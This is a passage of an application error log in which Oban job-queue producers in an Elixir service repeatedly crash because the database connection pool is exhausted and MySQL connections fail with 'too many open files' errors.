    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:58:38.240111Z], limit: 20, uuid: "55fe2517-2200-4b70-8695-bc3256482142", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.240116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14288>, refresh_timer: #Reference<0.2525715032.1099431938.38038>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:58:38.238561Z], limit: 5, uuid: "ca311322-0af4-4a53-aa02-0d752daa70e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.238568Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14289>, refresh_timer: #Reference<0.2525715032.1099431938.38039>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:58:38.243114Z], limit: 10, uuid: "eaca3a2f-f8b2-4f66-92b8-f547e7ac6ae1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.243120Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14285>, refresh_timer: #Reference<0.2525715032.1077673987.14277>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:51.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:51.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:53.703000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:55.083000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:01.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:58:50.239512Z], limit: 5, uuid: "6b13859f-8d4d-4e91-af68-52d536e1c459", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14681>, refresh_timer: #Reference<0.2525715032.1099431938.38093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:58:50.238736Z], limit: 50, uuid: "9d9cf7e3-6a2b-44fb-8b81-29d0d2c95e62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.238744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14678>, refresh_timer: #Reference<0.2525715032.1077673987.14617>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:58:50.239971Z], limit: 5, uuid: "d399a9c6-ca0a-4ae2-b7e9-1d1a3a268923", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.239976Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14677>, refresh_timer: #Reference<0.2525715032.1077673987.14651>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:58:50.239056Z], limit: 3, uuid: "1fb669af-ea51-4eff-a338-05ecc93f0675", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.239062Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14679>, refresh_timer: #Reference<0.2525715032.1077673987.14633>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:58:50.241563Z], limit: 10, uuid: "08bb53fd-13a0-4667-9581-498a69f37a44", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.241568Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.40998>, refresh_timer: #Reference<0.2525715032.1099431938.38115>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:58:50.239763Z], limit: 20, uuid: "0eacdc66-5123-487d-94dd-659028a9b33e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:50.239771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14680>, refresh_timer: #Reference<0.2525715032.1068498948.40987>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:03.025000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:05.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:07.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:08.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:08.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:13.430000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:14.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
